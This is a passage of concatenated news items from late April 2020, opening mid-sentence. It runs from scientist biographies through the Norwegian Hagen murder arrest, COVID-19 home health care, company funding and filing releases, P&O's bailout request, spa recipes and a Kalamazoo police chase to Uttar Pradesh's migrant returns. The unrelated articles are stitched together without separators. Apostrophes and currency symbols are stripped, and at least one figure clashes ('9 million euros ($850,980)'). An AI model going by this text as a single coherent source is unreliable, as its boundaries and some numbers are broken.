of Chemistry at The Scripps Research Institute in La Jolla, California and a member of the National Academy of Sciences. He is a founder of Vividion Therapeutics, Abide Therapeutics, and ActiveX Biosciences. Considered a co-inventor of activity-based proteomics, Cravatt is a prominent figure in the field of chemical biology. Dr. Lynn R. Goldman, M.D., M.S., M.P.H. is the Dean and Professor of Environmental and Occupational Health at the Milken Institute School of Public Health at the George Washington University. She is a member of the National Academy of Medicine, the National Research Council Strategic Planning Group, and the NIH National Advisory Environmental Health Sciences Council. Dr. Akiko Iwasaki, Ph.D. is a Professor of Immunobiology at Yale University School of Medicine, and a Howard Hughes Medical Institute Investigator. She is a member of the National Academy of Sciences, and a member of the National Academy of Medicine. She has discovered molecular mechanisms underlying innate and adaptive antiviral immunity and is a pioneer of novel vaccine strategies. Dr. R. Scott Kemp, Ph.D. is an Associate Professor and Director of the Laboratory for Nuclear Security and Policy at the Massachusetts Institute of Technology. Dr. Kemp works on the scientific foundations of U.S. national security policy. Dr. Michael Z. Lin, M.D., Ph.D. is Associate Professor of Neurobiology, Bioengineering, and Chemical and Systems Biology at Stanford University. A NIH Pioneer Award recipient, Dr. Lin develops proteinbased tools for molecular imaging and control of gene and viral therapy. Dr. David Liu, Ph.D. is Professor of Chemistry and Chemical Biology at Harvard University, Vice-Chair of the Faculty at the Broad Institute of MIT and Harvard, and a Howard Hughes Medical Institute Investigator. He is a founder of Beam Therapeutics, Editas Medicine, Prime Medicine, Pairwise Plants, and Exo Therapeutics. Liu is a pioneer in chemical biology, protein engineering, and gene editing, and has developed technologies such as base editing and prime editing. Dr. Michael Rosbash, Ph.D. is the 2017 Nobel laureate in Physiology or Medicine, a member of the National Academy of Sciences, a Professor of Biology at Brandeis University, and a Howard Hughes Medical Institute Investigator. Rosbash is a pioneer of chronobiology, the study of how living systems sense and respond to time. Dr. Stuart Schreiber, Ph.D. is a Professor of Chemistry and Chemical Biology at Harvard University and co-Founder of the Broad Institute. He is a member of the National Academy of Sciences, and a founder of Vertex Pharmaceuticals, Ariad Pharmaceuticals, Infinity Pharmaceuticals, Forma Therapeutics, H3 Biomedicine and Jnana Therapeutics. Schreiber co-pioneered the field of chemical biology. Dr. Edward Scolnick, M.D. is the former Head of Research and Development at Merck and a core investigator at the Broad Institute of MIT and Harvard. While at Merck, Scolnick oversaw the development of 28 FDA-approved drugs and vaccines, including statins, HIV protease inhibitors, and Gardasil. He also made seminal discoveries on the nature of genes that cause cancer in humans before beginning his 22-year career at Merck. Dr. Jonathan W. Simons, M.D. is the CEO and President of the Prostate Cancer Foundation. Simons a molecular oncologist who previously was the Founding Director of the Winship NCI Cancer Center at Emory University, and currently co-directs the PCF-Veterans Administration Precision Oncology Program for Prostate Cancer. Dr. Ramnik Xavier, M.D., Ph.D. is Professor of Medicine at Harvard Medical School, former Chief of Gastroenterology at Massachusetts General Hospital, Director of Computational and Integrative Biology, MGH, and a core institute member of the Broad Institute of MIT and Harvard. He has discovered molecular mechanisms underlying innate and adaptive immunity, as well as causes of Crohn's disease, ulcerative colitis, and autoimmunity. Advertisement COPENHAGEN, Denmark One of Norways wealthiest men was arrested Tuesday in connection with his wifes 2018 disappearance and held on suspicion of murder or complicity to murder in a case that police had earlier thought was a kidnapping. Tom Hagen, a media-shy real estate investor and owner of an electric company, was arrested on his way to work, chief police investigator Tommy Broeske said. The case had made headlines in the Scandinavian country, where police first reported that Anne-Elizabeth Falkevik Hagen had been abducted. Police had been told of her disappearance on Oct. 31, 2018, but didnt publicly speak about it until Jan. 9, 2019, after which hundreds of tips poured in. Image: Anne-Elizabeth Hagen and Tom Hagen. (Handout; Torbjorn Olson / via AFP / Getty Images) The case is characterized by a clearly planned deception, Broeske told a news conference Tuesday in Oslo. As other hypotheses have been weakened, suspicions against Tom Hagen have gradually been strengthened. Prosecutor Aase Kjustad Eriksson said authorities would seek Wednesday to have Hagen held for four weeks in pre-trial custody and that more arrests were possible. Police declined to elaborate on a motive due to the ongoing investigation. The 69-year-old childhood sweetheart that Hagen had married at age 19 disappeared from the couples home in Loerenskog, east of Oslo, authorities said. A ransom for her release was demanded, police said in January 2019 but declined to give the amount. Norwegian newspaper VG said it was for 9 million euros ($850,980) to be paid in a cryptocurrency popular among cyber-criminals. Police eventually released security videos of men walking back and forth outside Hagens workplace. Officers and police dogs were also seen scouring the grounds around the couples home and divers went into a nearby pond as police led a large investigation at home and abroad. In June 2019, police changed their main hypothesis because of the absence of any signs that the missing woman was still alive or any recent contacts with the alleged kidnappers. They believe Falkevik Hagen, who has never been found, had been killed and said they cannot exclude a staged kidnapping to hide it. Tom Hagen, the second-oldest in a farming family of 12 children, struck it rich in the real estate business he started in 1978. His fortune is estimated to be worth nearly 1.7 billion kroner ($161 million). Here are todays top news, analysis and opinion at this hour. Know all about the latest news and other news updates from Hindustan Times. AIIMS set to begin plasma therapy, Tablighi Jamaat members donate plasma In Delhi, after Lok Nayak hospital, the All India Institute of Medical Sciences (AIIMS) is set to begin plasma therapy for those with severe Covid-19 infections. The collection of plasma from over 350 eligible members of the Tablighi Jamaat started on Monday at the Covid Care Centres in Sultanpuri and Narela. Twenty-five donations have already been received. Read More Delhi review complete, govt allows vets, plumbers, electricians to start work The Delhi government on Monday finally lifted the bar on veterinarians, plumbers and electricians after a complete review of the Covid-19 pandemic in the national capital. In a 7-point order, the Delhi Disaster Management Authority also allowed inter-state travel of health workers, lab technicians and scientists that had been prohibited in the city. Read More On Kim Jong Uns health, Donald Trump says have a very good idea, but cant talk US President Donald Trump on Monday appeared to confirm that North Korean leader Kim Jong Un is alive, saying he wished him well after days of speculation over the dictators whereabouts. Read More Dont quite trust this guy: AB de Villiers narrates story of first meeting with Kohli Apart from being one of the best batsmen of the current generation, Virat Kohli and AB de Villiers are also close friends. The duo, ever since brought together by Royal Challengers Bangalore in IPL, have relished each others company. In an Instagram live session recently, De Villiers revealed that he was sceptical about Kohli when he first met him. Read More Happy Birthday Samantha: Five films that are proof of her underrated versatility Like most of her contemporaries, Samantha Akkineni rose to stardom by taking the quintessential heroine roles in star-studded projects before going on to experimenting with roles that were a proof of her untapped talent. On the occasion of her 33rd birthday, a look at five films from her illustrious career. Read More WhatsApps latest update for iPhones brings support for 8 people on group calls WhatsApp has officially rolled out support for more people on group calls. WhatsApp users can now make group video and voice calls with up to eight people. This is currently available only for iPhone users as of now. WhatsApps latest update on iOS comes with this feature along with visual improvements for iOS 13. Read More Lockdown Fashion: Pyjamas are the new jeans The coronavirus pandemic has utterly transformed the way most of us dressed, because now shirts have been replaced with oversized, boyfriend tees and jeans have been replaced with PJs. Designers and stylists tell us how they will influence our post-pandemic fashion as well. Read More Why jump-starting car factories in India is no easy ride A week after the Centre announced allowing of partial resumption of production by industries, automobile companies including Maruti Suzuki, Hyundai, Toyota, Tata Motors, Ford and Mercedes-Benz are yet to resume production stating supply chain, not just component suppliers but also dealers, needs to start operating to re-start production. The companies said in most parts of the country most of the auto dealers and suppliers continue to be in a lockdown condition. Read More Covid-19 has made it difficult to manage cancer care Dr Abhishek Shankar, assistant professor in the department of radiation oncology at Lady Hardinge Medical College said that coronavirus has made it difficult to manage the cancer care delivery system. A recent report Cancer Care Delivery Challenges Amidst Coronavirus Disease Outbreak published in the journal of Asian Pacific Journal of Cancer Prevention has pointed out that cancer patients are more susceptible to coronavirus. Watch the full video for more. Ruth Caballero paused outside an unfamiliar apartment door, preparing to meet her new patient. She covered the knob with a plastic bag. Put on a surgical gown, then a heavy-duty N95 mask, a lighter surgical mask on top. Cap, face shield, shoe covers. Hand sanitizer between each step of the process. Finally, the nurse donned two sets of gloves and knocked on the door with her elbow, ready to care for her first coronavirus patient. After about three weeks in a hospital, the man was home in his New York apartment but still so weak that sitting up in bed took some persuading. You made it out of the hospital, so you are a miracle, Caballero told him. Now lets keep you out of the hospital. Home health care is becoming a new front in the national fight against COVID-19 as some patients come back from hospitals and others strive to stay out of them. Home care nurses, aides and attendants who normally help an estimated 12 million Americans with everything from bathing to IV medications now are taking on the difficult and potentially dangerous task of caring for coronavirus patients. While Americans are being told to keep to themselves, home health providers and their clients still largely have to engage in person, often intimately. Many agencies are ramping up phone or video visits but cant always get paid for them, and even the smartest phone cant physically dress a wound or get someone to the bathroom. Like their colleagues in hospitals and nursing homes, home care workers have faced a scarcity of protective equipment, but with a lower public profile. Some agencies have scoured for masks at nail salons, auto body shops and tattoo parlors, said William Dombi, president of the National Association for Home Care and Hospice, an industry group. The crisis is testing the industry, but its also a moment of pride for workers who often have felt under-recognized. It is a challenge to keep the business operational, but its an opportunity, Dombi said. Were getting a chance to establish what can be done. Coronavirus care at home has expanded rapidly in the past few weeks. At least some agencies in most states now are taking COVID-19 patients referred after hospitalization or nursing home care or as an alternative to them, Dombi said. Still, some patients have struggled to get care. After being diagnosed with coronavirus-related pneumonia in late March, Penny Wittbrodt contacted multiple agencies around her home in Winchester, Kentucky. None then was accepting COVID-19 patients, she said, though her doctor was able to arrange home oxygen. Wittbrodt, who has asthma and a history of respiratory hospitalizations, still is not well, though shes had some relief at times. A retired home health nurse, Wittbrodt feels such care is especially valuable in the pandemic. Home health would expose far less people to COVID than hospitalization, she said. New York-based Americare Inc. has taken about 100 COVID-19 patients released from hospitals, and more than 200 of the agencys other patients also have tested positive or shown symptoms, VP Bridget Gallagher said. Every corporate staffer, including the CEO, is calling protective gear suppliers, but the agency still counts its stock of N95 masks every day. Were doing what we can, but I have to be honest: None of it feels like enough, said Gallagher, whos also on the board of the Home Care Association of New York State. For many agencies, chronic staff shortages are amplified by absences because of illness or quarantine. And workers are grappling with patients fears while reckoning with their own risk. The surgical mask and gloves that Washington home health aide Adassa Clarke now wears rattle her patient, who has Alzheimers disease and relies on a wheelchair. The patient doesnt have COVID-19 but cant retain what shes been told about an illness going around. Whats going on? Do I have a germ? Am I dying? she asks, according to Clarke. Sometimes, the patient breaks into tears. At 65, Clarke herself is in an age group at higher risk of severe cases of COVID-19, and shes trying to stay home as much as she can. But patients come first, said Clarke, a certified nursing assistant. I just feel like the more I help, the more I keep going, she said. A home health nurse with Chicago-area patients with COVID-19, Vanessa Pepino-Adraneda is extra-vigilant about protective gear and other precautions. Pepino-Adraneda also girds herself by focusing on caring for her patients and allowing herself moments of sadness, frustration or exhaustion. I try my best to protect my sanity amidst all this chaos, she said. For some people, especially older adults and people with existing health problems, the virus can cause severe illness or be fatal. For most people, it carries mild symptoms or none at all, meaning some patients could have the virus and not know it. The Visiting Nurse Service of New York, one of the nations largest home health agencies, currently has nearly 400 COVID-19 patients, and another nearly 300 referrals await, Executive Vice President Dan Savitt said. Separately, about 80 confirmed and presumed coronavirus patients are getting hospice care. As an industry, I do feel like weve risen to the challenge, he said. When the agency first told Caballero and other nurses in late March that COVID-19 patients were coming, I wont say that I wasnt nervous, Caballero says. She was relieved, though, to see the protective equipment the agency issued. And her first visit, to the man in the apartment, went well. When she called later that night, he not only was sitting up but had gotten into a chair. The person who would have been her next coronavirus patient died before visits began. Caballero now is caring for several COVID-19 patients. They came home debilitated and fearful, afraid that hospitals sent them home to die, she says. She encourages them to take step after small step: to sit on the side of the bed, to walk to the bathroom, to have a meal at the kitchen table. It is a challenge. This disease has taken so many lives, she says, but Im so blessed and so honored and so grateful that these patients are coming home. Think about it there but for the grace. It could be I. Kerala CM lauds Kasaragod hospital staff's efforts in reducing COVID-19 cases India pti-PTI Thiruvananthapuram, Apr 28: Kerala Chief Minister Pinarayi Vijayan on Tuesday lauded the staff of Kasaragod general hospital which discharged the last of its 89 COVID-19 patients who were admitted since the outbreak of the disease last month. Kasaragod had the highest number of coronavirus patients in Kerala --175. However, the cases there have been reduced to 13 due to the efforts of district authorities and the health staff and the strict implementation of lockdown by the police. "Kasaragod had the highest number of patients in the state. However, the general hospital there had cured 89 patients and the last person was discharged today. A strong 200-member team of doctors and other health workers have done a wonderful job I would like to congratulate them," Vijayan told media. The general hospital at Kasaragod had 89 patients, while Kanhangad district hospital 43 patients. The recently opened medical college hospital, which was converted into a coronavirus treatment centre, had 22 patients and Pariyaram medical college treated 19 patients. Two from Kasaragod were treated in Kozhikode Medical college. ''As of now, there are 13 COVID-19 patients in Kasaragod of which eight are treated in the recently opened covid treatement centre and four in Kanhangad district hospital," state Health Minister K K Shailaja said in a release. The district was in the news recently for the highest number of COVID-19 patients in the state and also for a meagre medical infrastructural facility. However, the state government swiftly took control of the situation and opened the under construction medical college in the district and converted it into a COVID-19 treatment centre. Close Get email notifications on {{subject}} daily! Your notification has been saved. There was a problem saving your notification. {{description}} Email notifications are only sent once a day, and only if there are new matching items. [April 28, 2020] CORRECTED: Lightbend Closes $19 Million Investment Round Led by Dell Technologies Capital SAN FRANCISCO, April 28, 2020 (GLOBE NEWSWIRE) -- Lightbend , the leader in Reactive Architecture and creator of the popular cloud-native platform Akka, today announced the close of a $19 million financing round led by Dell Technologies Capital. Previous investors Bain Capital Ventures, Blue Cloud Ventures, Greylock Partners, IBM, Intel, Juniper Networks, and Shasta Ventures also participated. To date, the company has raised more than $80 million in funding. Tyler Jewell, a Managing Director at Dell Technologies Capital, joins the Lightbend board of directors and discusses why he led the investment in Lightbend here . As a pioneer in the concepts of Reactive programming a decade ago, Lightbend has been extraordinarily prescient and has built some of the most flexible and advanced frameworks and runtimes for cloud native computing on the market today, said Jewell. Their industry vision aligns with Dell Technologies Capitals view of the future. Lightbend is well positioned to take advantage of two key trends that will dramatically change the enterprise computing landscape - they are the leader in Reactive architecture and enable serverless computing in a way unmatched by other vendors. According to investment bank Goldman Sachs , by 2021 the containerization of enterprise environments will become a $7 billion market opportunity. Three-quarters of that budget will be for deploying new applications enabled by containers, especially cloud-native applications. Todays digital-first enterprises require cloud-native applications that can seamlessly integrate into a companys infrastructure. Lightbends cloud-native application platform helps developers meet the growing demand for applications that optimize resource consumption and scale dynamically by leveraging Kubernetes, microservices, and containers. Lightbend co-founder Jonas Boner is the original author of the Reactive Manifesto movement and created Akka, the most popular abstraction method for managing state and scale across serverless deployments. Used by more than one million developers at companies such as Capital One , Fortnite , LinkedIn , PayPal and Verizon , Akka helps its users handle billions of transactions at massive scale in their cloud-native systems. Lightbend is also the company behind OSS application frameworks Play and Lagom, streaming data pipelines framework Cloudflow, the next-generation serverless project Cloudstate and the Scala programming language. The rise of serverless, Reactive systems, and real-time streaming data pipelines mean wholesale changes in how organizations and systems work with software, said Mark Brewer, CEO, Lightbend. This funding from Dell Technologies Capital solidifies our plans to take advantage of this market opportunity. As the founding member of the newly-established Reactive Foundation, we look forward to helping empower developers within the Kubernetes ecosystem and beyond, and bringing our vision for Reactive architecture to developers worldwide. Lightbend is headquartered in San Francisco and has staff across the globe. For more information visit www.lightbend.com . About Dell Technologies Capital Dell Technologies Capital is the global venture capital investment arm of Dell Technologies. The investment team backs passionate early stage founders who push the envelope on technology innovation for enterprises. Since inception in 2012, the team has sustained an investment pace of $150 million a year and has invested in more than 100 startups, 40 of which have been acquired and 5 have gone public. Portfolio companies also gain unique access to the go-to-market capabilities of Dell Technologies (Dell, Dell EMC, VMWare, Pivotal, RSA, Secureworks). Notable investments include Adallom, Arista Networks, Cylance, Docusign, Graphcore, JFrog, MongoDB, Netskope, Nutanix, RedLock, RiskRecon, TwistLock, Wavefront and Zscaler. Headquartered in Palo Alto, California, Dell Technologies Capital has offices in Boston, Austin, and Israel. For more information visit www.delltechcapital.com. About Lightbend Lightbend (@Lightbend) is leading the enterprise transformation toward real-time, cloud-native applications. Lightbend provides scalable, high-performance microservices frameworks and streaming engines for building data-centric systems that are optimized to run on cloud-native infrastructure like Red Hat OpenShift. The most admired brands around the globe are transforming their businesses with Lightbend, engaging billions of users every day through software that is changing the world. For more information, visit www.lightbend.com . Lightbend PR Contact Lonn Johnston +1 650.219.7764 [email protected] [ Back To TMCnet.com's Homepage ] The owner of P&O ferries has blasted the government for their 'slow' reaction to the crisis facing key supply routes during the coronavirus pandemic. P&O, a 180-year-old company, have applied for a bailout given the enormous effects of the coronavirus pandemic on trade and the firm account for 15 per cent of good imported and exported to and from Britain. In order to avoid collapse, owner Sultan Ahmed bin Sulayem says they need 257million and have asked the government for 150m towards that figure despite the fact that DP shareholders are expecting a dividend of 270m this week. The head of Dubai-based DP World who own P&O ferries, Sultan Ahmed bin Sulayem (above), blasted the government for their 'slow' response to the company's demand for 150million P&O have already taken seven ships out of their line-up as they cut costs during the coronavirus crisis and they have also furloughed 1,400 members of staff If the company does go under, then 4,000 jobs would be lost. It remains to be seen whether the UK Treasury will grant the funds, particularly after the hard line taken against Sir Richard Branson-owned Virgin Atlantic, who claim they could go under without 500m from the government. The head of Dubai-based DP World, Sultan Ahmed bin Sulayem, has not received a response to his application so far. He told the BBC: 'We have applied to the UK to support the company, so we can save the jobs of people. The government have been slow, but at the same time as a company we need to be able to survive, so we have basically taken seven of our ships out. 'So far we have furloughed 1,400 people to avoid the company collapsing.' 'P&O plays a vital role in the UK and thousands of jobs depend on this company. We have to be sure that when this is over we can bounce back and save these jobs. Bin Sulayem is one of a number of company owners who have applied for a huge bailout 'We have applied to the UK government to support the company to save the jobs of these people. The government has been slow. We need to safeguard these jobs - a lot of people's lives depends on this company.' The coronavirus crisis has seen P&O furlough 1,400 workers and the government will be covering 80 per cent of their wages. A total of seven ships have been taken out of service as current travel restrictions means leisure passengers are not able to book. Last year DP World, who own P&O, made staggering profits of more than 1bn and revenues were above 6bn. Mr bin Sulayem defended P&O's application financial help despite the 270m due to be paid out to DP World shareholders: 'DP World has never taken a penny out of P&O. Mr bin Sulayem insisted all the money made from P&O was put back into the company rather than paid out to shareholders as a dividend 'Any profits we have made we have reinvested in new vessels. DP World owns many businesses around the world. You cannot just take money out of them to put into a company in another place - it doesn't make sense.' The ferry business makes most of its money from its cross-channel services, which have seen a collapse in passenger numbers since the unprecedented lockdown in Britain and Europe. Many ships on its busiest route between Dover and Calais have been deserted over the past month. P&O is still running services but all drivers and foot passengers must fill out a form to prove to the French government that their travel is essential. Open source The Austrian government has no intention to prolong the obligatory lockdown, which was imposed in this country due to the epidemic of Covid-19. Rudolf Anschober, the Minister of Healthcare, reported that as quoted by Reuters. According to him, after April 30, which is the deadline of the lockdown, people will be allowed to leave their houses for any reason, not just for the urgent ones. The maximum number of people allowed on group events will not be exceeding ten people. Up to 30 people will be allowed to participate in funeral ceremonies. Such restrictions will be active until late June; then, the restrictions will be reconsidered. As of 5 p.m. of April 28, 15,357 cases of coronavirus were observed in Austria. 569 people deceased, and 12,580 recovered. As we reported earlier, the Kharkiv military hospital has become the center of coronavirus outbreak. "As of today, 14 cases have been registered. Eight of them are doctors who work there, the ninth is attached, he is on a business trip, and five are servicemen," Kharkiv governor Oleksiy Kucher stated. Currently, there are 9,419 laboratory-confirmed cases of COVID-19 in Ukraine: 239 of them were lethal, and 992 patients recovered. Mr Lees, a Bournemouth, England, UK-based brand of noodles in a cup, raised 1.75m on Seedrs. In their latest round, Mr Lees has so far attracted 220 investors from its loyal customer base, in addition to receiving backing from global food industry investor, Henry Soesanto, CEO of Monde Nissin Corporation, an international food company headquartered in Asia (known for acquiring Quorn in 2015). The company has secured a total of 6.5M funding across four rounds on investment platform Seedrs. Other investors include Dr Bart Sayle, Former Head of Innovation at Unilever, Chris Fung, Former CEO at Curshh Fitfood and angel support from Nathalie Morrison, CEO at Hay Hill Wealth Management. This latest funding will be used to drive their international growth, following its launch in the US this month. Additional resources will also be spent on further developing its e-commerce offering as Mr Lees accelerates their online presence and further develops its full-service hot noodle kiosk vending machines and to launch their new instant Congee rice porridge. Led by Damien Lee, a seasoned entrepreneur who built his own companies from the ground up across Australia, UK, Singapore, France and other countries, Mr Lees uses freeze-dried ingredients to create six diverse flavours of noodles, which are crafted from authentic Asian recipes. Certified gluten free, low in sugar and free from artificial preservatives, Mr Lees are low in calories, saturated fats and salt noodle brands, with vegetarian and vegan friendly flavours available. The products are available in the UK, Ireland, France, Malta, Australia, the USA and onboard airlines and trainlines. FinSMEs 28/04/2020 JetBlue referred to the C.D.C.s definition of a face covering as a cloth that should fit snugly against the side of a persons face, is secured with ties or ear loops, and includes multiple layers of fabric for unrestricted breathing. The C.D.C. recommends that surgical masks and N95 respirators be reserved for health care workers and other medical professionals. The company said it would remind passengers of the new policy before their flight by email and through announcements and signage at airports. Small children who are not able to wear a face covering are exempt from the requirement, the airline said. Sara Nelson, the president of the Association of Flight Attendants, applauded JetBlues new policy. Good job, JetBlue, for being the first U.S. airline to take this responsible step, which the C.D.C. advises will help slow the spread of the virus, she said in a statement. Her union has been pushing for the Department of Transportation, in coordination with the Department of Health and Human Services, to require masks for airline crews and passengers, and it has been urging people to fly as little as possible during the pandemic. Most U.S. airlines are now requiring flight attendants to wear a mask while working, she said, but we need passengers to wear masks in order to best protect everyone onboard, including crew. Winnipeg, Manitoba--(Newsfile Corp. - April 28, 2020) - Novra Technologies Inc. (TSXV: NVI) ("Novra" or the "Company") announces that, as a result of delays caused by the COVID-19 pandemic, the Company will be postponing the filing of its annual consolidated financial statements and accompanying management's discussion and analysis and related CEO and CFO certificates for the financial year ended December 31, 2019. (collectively, the "Annual Filings"), which are required to be filed by April 29, 2020 under National Instrument 51-102 Continuous Disclosure Obligations. The Company also expects to delay interim filings for the first three months of 2020. On March 18, 2020, the Canadian Securities Administrator (CSA) announced they would provide issuers with a 45-day extension for filings required on or before June 1, 2020, to allow issuers the time needed to focus on the many other business and financial reporting implications of COVID-19. The Company will rely on this exemption with respect to the Annual Filings and the March 31, 2020 quarterly filings in accordance with BC Instrument 51-515 - Temporary Exemption from Certain Corporate Finance Requirements ("BCI 51-515"). The Company is continuing to work diligently and expeditiously with its auditors to complete and file the Annual Filings prior to the extended deadline of June 15, 2020 and expects to release March 31, 2020 quarterly filings by July 15, 2020. In the interim, management and the other insiders of the Company are subject to a trading black-out policy that reflects the principles in section 9 of National Policy 11-207 -Failure to-File Cease Trade Orders and Revocations in Multiple Jurisdictions. The Company confirms that since the filing of its consolidated interim financial statements for the period ended September 30, 2019, there have been no material business developments other than those that have been publicly disclosed as required under applicable securities laws and stock exchange requirements. About Novra Technologies Inc.: Novra (TSXV: NVI) is an international technology provider of products, systems and services for the distribution of multimedia broadband content. The Novra Group of companies includes Novra, International Datacasting Corporation, and Wegener Corporation. The companies in the group are known for a strong focus on applications including: broadcast video and radio, digital cinema, digital signage, and highly reliable data communications. For more information visit: www.novragroup.com Forward-Looking Statements: This press release contains "forward-looking statements" within the meaning of applicable Canadian securities laws, including statements relating to the expected timing of filing annual and interim filings. Forward-looking statements are generally identifiable by words such as "expect", "anticipate", "believe", "intend", "estimate", "predict", "outlook", "opportunity", "momentum", "potential", "targeted", "plans" "possible", "poised for", and similar expressions, or statements that events, conditions or results "will", "may", "could" or "should" occur or be achieved. As such, forward-looking statements are not historical facts but reflect our current assumptions and expectations regarding future events. These are subject to a number of risk and uncertainties that could cause actual results or events to differ materially from current expectations and assumptions. For these reasons, readers are cautioned not to place undue reliance on forward-looking statements. Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. # # # CONTACT FOR NOVRA: Harris Liontas President & CEO +1 204 989 4632 hliontas@novra.com To view the source version of this press release, please visit https://www.newsfilecorp.com/release/55046 New Delhi, April 28 : A trip to the spa is one of the best ways to rest and recharge. However, when you're not visiting a resort and can't make it to your favourite spa, you can still create your own spa experience with natural products right at your home. This can be just as effective - and even more fun - than booking a treatment at a professional spa. Bawah Reserve, one of Indonesia's most exclusive off-grid resorts, provides every guest with a daily spa treatment during their stay. IANSlife spoke with Emelda Drapiana, Bawah Reserve's Aura Spa Manager , to bring you six easy yet fabulous recipes for your body, face and hair right from the comfort of your home. For The Body Start your natural spa day by exfoliating the dead cells from your skins. Coffee Scrub Used coffee grounds are packed with minerals that are great for the skin. And, because they do not dissolve in water, their gritty texture is great to naturally exfoliate to a super-soft finish. Ingredients: 4 tbsp coffee grounds 2 tbsp milk powder 100 ml virgin coconut oil Method Combine all ingredients and stir well. Apply to your whole body using circular motions, paying attention to drier areas such as the elbows, knees and feet. Rinse Honey and Sesame Scrub Sesame seeds are a rich source of zinc which can help increase the skin's flexibility. They are also rich in antioxidants which help detoxify the skin. Black sesame seeds have anti-inflammatory properties as well as iron and vitamins B and E. Ingredients: 200g white sesame seeds 100g black sesame seeds 5 tbsp honey 5 tbsp sesame oil Method Crush the sesame seeds together using a pestle and mortar or the end of a rolling pin. Mix all ingredients together and stir well. Apply to your whole body using circular motions, paying attention to drier areas such as the elbows, knees and feet. Rinse. For The Face A simple face mask can make your skin look radiant and glowing. There is no need to use expensive store-bought masks when these clean and restore lost moisture too. Lemon Face Mask A natural astringent, lemon juice removes dead skin cells, tightens pores and reduces blackheads. Ingredients: 1 tsp lemon juice 1 tbsp egg white Method Whisk the egg white until fluffy. Slowly add in the lemon juice. Apply to face avoiding the eye area; leave for 30 minutes. Rinse. Turmeric & Honey Face Mask Turmeric is known for its anti-inflammatory and antibacterial benefits. It can reduce redness from blemishes, minimize acne and calm skin conditions like eczema. Ingredients: 1 tsp turmeric or cinnamon 2 tbsp honey Method Mix all ingredients together and stir well. Apply to face avoiding the eye area; leave for 30 minutes. Rinse. For The Hair Don't forget about your hair. Quick and easy hair treatment can add shine and moisture to your hair as well as it being great for your scalp. Hair mask for shiny, sleek hair Olive oil is a rich emollient that helps to deep condition hair. Honey locks in extra moisture, minimises breakage and strengthens hair, making it more likely to grow longer. Ingredients: 4 tbsp olive oil 4 tbsp honey Method Blend the olive oil and honey together. Apply to dry hair, massaging it into the roots and ends; comb it through for better coverage. Leave for a minimum of 20 minutes - either loose or wrapped in a towel. Rinse, then shampoo and condition hair as normal. Hair Mask for dry hair Avocado and coconut oil have numerous benefits for your hair; moisturising, nourishing and smells good too. Ingredients: 2 tbsp avocado, mashed 2 tbsp coconut oil 2 tbsp honey Method Blend the oil and honey together, then slowly mix in the mashed avocado. Apply to dry hair, massaging it into the roots and ends; comb it through for better coverage. Leave for a maximum of 20 minutes - either loose or wrapped in a towel. Rinse, then shampoo and condition hair as normal. Now, why not make yourself a rosella tea to complete your home spa experience. -- Syndicated from IANS KALAMAZOO, MI -- Three juveniles led Kalamazoo police on two separate chases in stolen vehicles Monday. No one was injured in either incident, and all three minors were arrested and lodged in the Kalamazoo County Juvenile Home. The first incident was reported around 7:30 a.m. Monday, April 27, by a person in the 1700 block of Bloomfield Avenue who said they left their car running and returned to find it missing, according to the Kalamazoo Department of Public Safety. Minutes after the report was taken, the investigating officer located the vehicle several blocks north and attempted a traffic stop, according to Kalamazoo police. The vehicle fled, and eventually crashed into a fence several blocks away in the area of North Edwards Street and East Kalamazoo Avenue. The driver of the vehicle, a juvenile, attempted to flee on foot but was caught and arrested shortly after. Hours later, around 3 p.m., that same officer was patrolling and noticed another stolen vehicle around Miller Road and James Street. The officer again attempted a traffic stop and the vehicle drove away. The chase ended a few blocks away, when the vehicle crashed near Duckett Drive and Flower Street. Three juveniles were detained at the crash scene. The juvenile driver and a juvenile passenger fled on foot but were located with police dogs and arrested. They were lodged at the Kalamazoo County Juvenile Home. It was not immediately clear if the three other juveniles were arrested as well. Investigators say that the two stolen vehicle cases are connected. Kalamazoo police urge residents to never leave a vehicle running and unattended. Anyone with information about the cases are asked to call Kalamazoo Public Safety at 269-337-8994, or Silent Observer at 269-343-2100. Also on MLive: Plainwell meat plants coronavirus case count rises to 86 Michigan extends personal protection orders during coronavirus crisis 12th inmate dies in Michigan prison where half tested positive for COVID-19 Whitmer extends order loosening scope of practice laws for health care workers Foster children unable to visit biological parents during Michigans stay-at-home order At present, lakhs of migrant workers across the country are hoping to return home. However, the Union home ministry had, on 28 March, asked all states to seal borders and take care of migrant labourers wherever they are. In March, there was a huge rush of migrants eager to get home, which put pressure on state governments. But now, state governments are acting according to a plan, closely co-ordinating with other states and the Centre. While many states are making efforts to bring migrants back, Uttar Pradesh seems to have taken the lead. Uttar Pradesh chief minister Yogi Adityanath is facing a tough challenge on this count. The state is the most populous in the country, and a large number of people from this state go to other states to earn their livelihood. Adityanath's government managed not only to bring thousands of migrant labouters back from Delhi in a time span of 24 hours, but also did so while following protocols of social distancing. The Uttar Pradesh government also brought back around 8,000 students, mostly minors, from Kota in Rajasthan by bus. Subsequently, other state governments followed suit, including Madhya Pradesh, Chhattisgarh, Uttarakhand, Assam and Maharashtra. Earlier, other states had petitioned the Centre to allow the return of migrants. However, the Yogi Adityanath government went a step forward and publicly announced that it would bring all migrants back to the state. This is being done in a phased manner, irrespective of whether the national lockdown is extended beyond 3 May. A beginning has been made by bring migrants from Haryana back to Uttar Pradesh. Bringing migrants from Haryana was relatively easy as it is a neighbouring state. However, the situation will be more difficult when it comes to states like Maharashtra, Gujarat and Tamil Nadu. Buses would take several days to reach these states and return. Further, if social distancing norms are followed, a bus can accommodate only a few people. It will become clear in the coming days whether the Uttar Pradesh can convince the Centre to allow special trains for this purpose. Adityanath has appointed a nodal officer in each state and is in the process of preparing a database of persons willing to return to the state, their background and their native place in Uttar Pradesh. Speaking to Firstpost, the state's energy minister Shrikant Sharma said, The government is conscious of the challenges but is determined to convert them into opportunities. The idea is to create such conditions of employment generation that those who have returned home in a state of physical and emotional turmoil need not go back. We are trying to ensure that most of them find livelihood in the state itself. This would also enable them to live with their loved ones. The people are reposing faith in the measures that we are taking." All ministers have been given charge of some districts. In these districts, the ministers are expected to co-ordinate with various government departments and fix responsibilities. In 19 sensitive districts, the state government has also decided to appoint 57 nodal officers. The Uttar Pradesh government has already distributed Rs 280 crore as maintenance allowance to 27,78,000 workers of the state. Around Rs 525 crore was paid to 36,000 industrial units and over 6603 closed units were restarted. Mritunjay Kumar, media advisor to the chief minister, says that what has made a difference in Uttar Pradesh is Yogijis ability to think ahead and implement plans at an unprecedented speed. That has completely changed the response mechanism of the state government. 